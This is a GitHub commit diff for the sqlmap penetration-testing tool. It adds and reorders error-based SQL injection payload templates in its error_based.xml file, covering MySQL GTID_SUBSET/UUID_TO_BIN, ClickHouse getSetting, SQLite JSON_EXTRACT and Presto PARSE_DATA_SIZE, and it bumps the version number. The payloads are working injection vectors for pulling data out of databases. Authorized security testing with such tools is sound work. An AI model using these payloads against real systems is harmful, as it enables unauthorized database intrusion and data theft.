Skip to content

Commit d2bcb39

Browse files
stamparmstamparm
committed
Improvement of error-based vectors (e.g. SQLite error vector added)
1 parent edbfca0 commit d2bcb39

2 files changed

Lines changed: 173 additions & 39 deletions

File tree

‎data/xml/payloads/error_based.xml‎

Lines changed: 172 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -2,92 +2,134 @@
22

33
<root>
44
<!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
5+
<!-- GTID_SUBSET before EXTRACTVALUE: its error reflects ~200 chars vs ~31, so far fewer requests -->
56
<test>
6-
<title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
7+
<title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
78
<stype>2</stype>
8-
<level>1</level>
9+
<level>2</level>
910
<risk>1</risk>
1011
<clause>1,2,3,8,9</clause>
1112
<where>1</where>
12-
<vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
13+
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
1314
<request>
14-
<!-- These work as good as ELT(), but are longer
15-
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
16-
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
17-
-->
18-
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
15+
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
1916
</request>
2017
<response>
2118
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
2219
</response>
2320
<details>
2421
<dbms>MySQL</dbms>
25-
<dbms_version>&gt;= 5.1</dbms_version>
22+
<dbms_version>&gt;= 5.6</dbms_version>
2623
</details>
2724
</test>
2825

2926
<test>
30-
<title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
27+
<title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
3128
<stype>2</stype>
32-
<level>1</level>
29+
<level>2</level>
3330
<risk>3</risk>
34-
<clause>1,2,3,8,9</clause>
35-
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
31+
<clause>1,8,9</clause>
3632
<where>1</where>
37-
<vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
33+
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
3834
<request>
39-
<!-- These work as good as ELT(), but are longer
40-
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
41-
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
42-
-->
43-
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
35+
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
4436
</request>
4537
<response>
4638
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
4739
</response>
4840
<details>
4941
<dbms>MySQL</dbms>
50-
<dbms_version>&gt;= 5.1</dbms_version>
42+
<dbms_version>&gt;= 5.6</dbms_version>
5143
</details>
5244
</test>
5345

46+
<!-- UUID_TO_BIN backup (MySQL 8.0+, exclusive): ~128-char echo vs EXTRACTVALUE's ~31 if GTID_SUBSET is filtered -->
5447
<test>
55-
<title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
48+
<title>MySQL &gt;= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN)</title>
5649
<stype>2</stype>
57-
<level>2</level>
50+
<level>5</level>
5851
<risk>1</risk>
5952
<clause>1,2,3,8,9</clause>
6053
<where>1</where>
61-
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
54+
<vector>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
6255
<request>
63-
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
56+
<payload>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
6457
</request>
6558
<response>
6659
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
6760
</response>
6861
<details>
6962
<dbms>MySQL</dbms>
70-
<dbms_version>&gt;= 5.6</dbms_version>
63+
<dbms_version>&gt;= 8.0</dbms_version>
7164
</details>
7265
</test>
7366

7467
<test>
75-
<title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
68+
<title>MySQL &gt;= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN)</title>
7669
<stype>2</stype>
77-
<level>2</level>
70+
<level>5</level>
7871
<risk>3</risk>
7972
<clause>1,8,9</clause>
8073
<where>1</where>
81-
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
74+
<vector>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
8275
<request>
83-
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
76+
<payload>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
8477
</request>
8578
<response>
8679
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
8780
</response>
8881
<details>
8982
<dbms>MySQL</dbms>
90-
<dbms_version>&gt;= 5.6</dbms_version>
83+
<dbms_version>&gt;= 8.0</dbms_version>
84+
</details>
85+
</test>
86+
87+
<test>
88+
<title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
89+
<stype>2</stype>
90+
<level>1</level>
91+
<risk>1</risk>
92+
<clause>1,2,3,8,9</clause>
93+
<where>1</where>
94+
<vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
95+
<request>
96+
<!-- These work as good as ELT(), but are longer
97+
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
98+
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
99+
-->
100+
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
101+
</request>
102+
<response>
103+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
104+
</response>
105+
<details>
106+
<dbms>MySQL</dbms>
107+
<dbms_version>&gt;= 5.1</dbms_version>
108+
</details>
109+
</test>
110+
111+
<test>
112+
<title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
113+
<stype>2</stype>
114+
<level>1</level>
115+
<risk>3</risk>
116+
<clause>1,2,3,8,9</clause>
117+
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
118+
<where>1</where>
119+
<vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
120+
<request>
121+
<!-- These work as good as ELT(), but are longer
122+
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
123+
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
124+
-->
125+
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
126+
</request>
127+
<response>
128+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
129+
</response>
130+
<details>
131+
<dbms>MySQL</dbms>
132+
<dbms_version>&gt;= 5.1</dbms_version>
91133
</details>
92134
</test>
93135

@@ -911,6 +953,26 @@
911953
</details>
912954
</test>
913955

956+
<!-- getSetting backup (ClickHouse-exclusive, unlimited echo, funky/unlikely-filtered) -->
957+
<test>
958+
<title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting)</title>
959+
<stype>2</stype>
960+
<level>5</level>
961+
<risk>1</risk>
962+
<clause>1,2,3,9</clause>
963+
<where>1</where>
964+
<vector>AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
965+
<request>
966+
<payload>AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
967+
</request>
968+
<response>
969+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
970+
</response>
971+
<details>
972+
<dbms>ClickHouse</dbms>
973+
</details>
974+
</test>
975+
914976
<test>
915977
<title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
916978
<stype>2</stype>
@@ -986,10 +1048,86 @@
9861048
<dbms>Spanner</dbms>
9871049
</details>
9881050
</test>
989-
<!--
990-
TODO: if possible, add payload for SQLite, Microsoft Access,
991-
and SAP MaxDB - no known techniques at this time
992-
-->
1051+
<!-- SQLite: an invalid JSON path is the one construct that errors and echoes its argument (needs JSON1) -->
1052+
<test>
1053+
<title>SQLite &gt;= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)</title>
1054+
<stype>2</stype>
1055+
<level>2</level>
1056+
<risk>1</risk>
1057+
<clause>1,2,3,8,9</clause>
1058+
<where>1</where>
1059+
<vector>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
1060+
<request>
1061+
<payload>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
1062+
</request>
1063+
<response>
1064+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1065+
</response>
1066+
<details>
1067+
<dbms>SQLite</dbms>
1068+
<dbms_version>&gt;= 3.9</dbms_version>
1069+
</details>
1070+
</test>
1071+
1072+
<test>
1073+
<title>SQLite &gt;= 3.9 OR error-based - WHERE or HAVING clause (JSON path)</title>
1074+
<stype>2</stype>
1075+
<level>2</level>
1076+
<risk>3</risk>
1077+
<clause>1,8,9</clause>
1078+
<where>1</where>
1079+
<vector>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
1080+
<request>
1081+
<payload>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
1082+
</request>
1083+
<response>
1084+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1085+
</response>
1086+
<details>
1087+
<dbms>SQLite</dbms>
1088+
<dbms_version>&gt;= 3.9</dbms_version>
1089+
</details>
1090+
</test>
1091+
1092+
<!-- Presto/Trino: PARSE_DATA_SIZE is engine-exclusive and echoes its argument ('Invalid data size: X') -->
1093+
<test>
1094+
<title>Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE)</title>
1095+
<stype>2</stype>
1096+
<level>5</level>
1097+
<risk>1</risk>
1098+
<clause>1,2,3,8,9</clause>
1099+
<where>1</where>
1100+
<vector>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
1101+
<request>
1102+
<payload>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
1103+
</request>
1104+
<response>
1105+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1106+
</response>
1107+
<details>
1108+
<dbms>Presto</dbms>
1109+
</details>
1110+
</test>
1111+
1112+
<test>
1113+
<title>Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE)</title>
1114+
<stype>2</stype>
1115+
<level>5</level>
1116+
<risk>3</risk>
1117+
<clause>1,8,9</clause>
1118+
<where>1</where>
1119+
<vector>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
1120+
<request>
1121+
<payload>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
1122+
</request>
1123+
<response>
1124+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1125+
</response>
1126+
<details>
1127+
<dbms>Presto</dbms>
1128+
</details>
1129+
</test>
1130+
9931131
<!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
9941132

9951133
<!-- Error-based tests - LIMIT clause -->
@@ -1582,10 +1720,6 @@
15821720
<dbms>IBM DB2</dbms>
15831721
</details>
15841722
</test>
1585-
<!--
1586-
TODO: if possible, add payload for SQLite, Microsoft Access
1587-
and SAP MaxDB - no known techniques at this time
1588-
-->
15891723
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
15901724

15911725
<!-- Error-based tests - stacking -->

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.189"
23+
VERSION = "1.10.7.190"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)